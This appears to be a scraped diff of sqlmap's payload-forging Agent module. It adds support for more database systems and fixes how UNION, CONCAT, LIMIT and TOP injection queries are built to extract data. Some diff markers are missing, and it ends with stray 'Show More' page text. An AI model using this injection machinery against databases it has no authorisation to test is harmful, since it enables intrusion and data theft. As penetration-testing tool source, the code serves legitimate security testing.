-            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
            if parameter in kb.base64Originals:
                origValue = kb.base64Originals[parameter]
            else:
                origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
@@ -179,15 +195,23 @@ class Agent(object):
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
                newValue = '"%s"' % self.addPayloadDelimiters(newValue)
-            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
+            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
                newValue = "'%s'" % self.addPayloadDelimiters(newValue)
            else:
                newValue = self.addPayloadDelimiters(newValue)
            if newValue:
                newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
                retVal = paramString.replace(_, newValue)
            retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
            if base64Encoding:
                retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
                match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
                if match:
                    retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
            else:
                retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
@@ -247,7 +271,7 @@ class Agent(object):
        # If we are replacing (<where>) the parameter original value with
        # our payload do not prepend with the prefix
-        if where == PAYLOAD.WHERE.REPLACE:
+        if where == PAYLOAD.WHERE.REPLACE and not conf.prefix:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
            query = ""
        # If the technique is stacked queries (<stype>) do not put a space
@@ -294,8 +318,9 @@ class Agent(object):
            where = getTechniqueData().where if where is None else where
            comment = getTechniqueData().comment if comment is None else comment
-        if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
+        if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
-            comment = queries[DBMS.ACCESS].comment.query
+            if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
                comment = queries[Backend.getIdentifiedDbms()].comment.query
        if comment is not None:
            expression += comment
@@ -381,6 +406,11 @@ class Agent(object):
            for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
                payload = payload.replace(_, randomStr())
            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
                payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
                payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
                payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
        return payload
    def getComment(self, request):
@@ -398,7 +428,7 @@ class Agent(object):
        rootQuery = queries[Backend.getIdentifiedDbms()]
        hexField = field
-        if "hex" in rootQuery:
+        if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
            hexField = rootQuery.hex.query % field
        else:
            warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
@@ -438,7 +468,7 @@ class Agent(object):
        nulledCastedField = field
-        if field:
+        if field and Backend.getIdentifiedDbms():
            rootQuery = queries[Backend.getIdentifiedDbms()]
            if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
@@ -446,12 +476,12 @@ class Agent(object):
            else:
                if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
                    nulledCastedField = rootQuery.cast.query % field
-                if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
+                if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
                    nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
                else:
                    nulledCastedField = rootQuery.isnull.query % nulledCastedField
-            kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
+            kb.binaryField = conf.binaryFields and field in conf.binaryFields
            if conf.hexConvert or kb.binaryField:
                nulledCastedField = self.hexConvertField(nulledCastedField)
@@ -523,7 +553,7 @@ class Agent(object):
        """
        prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
-        fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
+        fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
        fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
        fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
@@ -548,7 +578,7 @@ class Agent(object):
            if fieldsSelect:
                fieldsToCastStr = fieldsSelect.group(1)
        elif fieldsSelectTop:
-            fieldsToCastStr = fieldsSelectTop.group(1)
+            fieldsToCastStr = fieldsSelectTop.group(2)
        elif fieldsSelectRownum:
            fieldsToCastStr = fieldsSelectRownum.group(1)
        elif fieldsSelectDistinct:
@@ -648,7 +678,7 @@ class Agent(object):
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -671,7 +701,7 @@ class Agent(object):
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsSelectTop:
-                topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
+                topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
                concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
                concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
            elif fieldsSelectCase:
@@ -708,21 +738,43 @@ class Agent(object):
            warnMsg = "applying generic concatenation (CONCAT)"
            singleTimeWarnMessage(warnMsg)
            if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
                _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
                if _ != concatenatedQuery:
                    concatenatedQuery = _
                    fieldsSelectFrom = None
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += "),'%s')" % kb.chars.stop
            elif fieldsSelectCase:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += "),'%s')" % kb.chars.stop
-            elif fieldsSelectFrom:
+            elif fieldsSelectFrom or fieldsSelect:
                fromTable = ""
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
-                concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
+                if _:
                    concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
                concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
                replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
                chars = [_ for _ in replacement]
                count = 0
                for index in zeroDepthSearch(replacement, ',')[1:]:
                    chars[index] = "),"
                    count += 1
                replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
                concatenatedQuery = "%s%s" % (replacement, fromTable)
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
                concatenatedQuery += "),'%s')" % kb.chars.stop
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
        return concatenatedQuery
    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
@@ -937,10 +989,33 @@ class Agent(object):
        fromFrom = limitedQuery[fromIndex + 1:]
        orderBy = None
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
            limitedQuery += " %s" % limitStr
        elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
            limitedQuery += " %s" % limitStr
        elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
            limitedQuery += " %s" % limitStr
        elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
            if query.startswith("SELECT "):
                limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
        elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
            if query.startswith("SELECT ") and field is not None and field in query:
                original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
                for part in original.split(','):
                    if re.search(r"\b%s\b" % re.escape(field), part):
                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
                        replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
                        limitedQuery = replacement
                        break
        elif Backend.isDbms(DBMS.HSQLDB):
            match = re.search(r"ORDER BY [^ ]+", limitedQuery)
            if match:
@@ -959,6 +1034,15 @@ class Agent(object):
                if match:
                    orderBy = " ORDER BY %s" % match.group(1)
        elif Backend.isDbms(DBMS.CACHE):
            match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
            if match:
                limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
                orderBy = " %s" % match.group(0)
                field = match.group(1)
            limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
        elif Backend.isDbms(DBMS.FIREBIRD):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
            limitedQuery += " %s" % limitStr
@@ -1036,12 +1120,15 @@ class Agent(object):
    def forgeQueryOutputLength(self, expression):
        lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
        select = re.search(r"\ASELECT\s+", expression, re.I)
        selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
        selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
        selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
        _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
-        if selectTopExpr or selectMinMaxExpr:
+        if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
            lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
        elif selectTopExpr or selectMinMaxExpr:
            lengthExpr = lengthQuery % ("(%s)" % expression)
        elif select:
            lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
@@ -1115,7 +1202,12 @@ class Agent(object):
    def whereQuery(self, query):
        if conf.dumpWhere and query:
-            prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
+            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
            if match:
                suffix = match.group(0)
                prefix = query[:-len(suffix)]
            else:
                prefix, suffix = query, ""
            if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1124,7 +1216,9 @@ class Agent(object):
            else:
                prefix += " WHERE %s" % conf.dumpWhere
-            query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
+            query = prefix
            if suffix:
                query += suffix
        return query
--- a/Show More
+++ b/Show More